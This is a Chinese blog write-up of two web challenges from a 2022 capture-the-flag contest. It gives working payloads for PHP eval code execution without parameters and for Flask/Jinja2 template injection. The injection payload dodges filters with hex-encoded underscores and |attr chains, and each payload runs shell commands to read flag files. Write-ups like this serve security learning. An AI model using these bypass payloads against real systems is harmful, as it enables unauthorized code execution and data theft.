长安“战疫”网络安全卫士守护赛 WriteUp

原创

3ackr0d 于 2022-01-09 09:43:52 发布 2553 收藏 1

分类专栏： Write Up 文章标签： php 安全 前端

本文链接：https://blog.csdn.net/Little_jcak/article/details/122390093

1、RCE_No_Para

参考一篇比较详细的bloghttps://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E6%B3%951%EF%BC%9Agetenv

源码

```
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
        eval($_GET['code']);
    }else{
        die("Hacker!");
    }
}else{
    show_source(__FILE__);
}
?>
```

查看可以利用的全局变量

```
array(4) {
  ["_GET"]=>
  array(1) {
    ["code"]=>
    string(29) "var_dump(get_defined_vars());"
  }
  ["_POST"]=>
  array(0) {
  }
  ["_COOKIE"]=>
  array(0) {
  }
  ["_FILES"]=>
  array(0) {
  }
}
```

通过$_GET传参进行rce

payload

```
?code=eval(array_rand(array_flip(current(get_defined_vars()))));&$hacker=system('cat+/var/www/html/flag.php');
```

2、flask

注入点太难找了-_--

```
<!--/admin-->
<!--/static.js-->
<!--if not request.full_path.endswith(".js?"):
    if not request.full_path.startswith("/login"):
            return redirect("login")-->
```

满足不发生重定向的条件，在admin后面传参即可发现提示，.js?的条件让url看着奇怪

```
http://21caa490.lxctf.net/admin?.js?
```

```
    hello admin
    <!--admin/?name=-->
```

判断有无模板注入

```
/admin?name={{2*2}}.js?
```

计算得到结果，存在模板注入

```
过滤__ "" [] subclasses .
```

1、用编码绕过过滤__

```
\x5f\x5fclass\x5f\x5f
```

2、使用原生 JinJa2 函数 |attr()绕过过滤 .

3、字符串拼接绕过过滤subclasses

4、用__getitem__绕过过滤[]

最终的payload

```
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsub"+"classes\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(118)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')('cat /flag')|attr("read")()}}.js?
```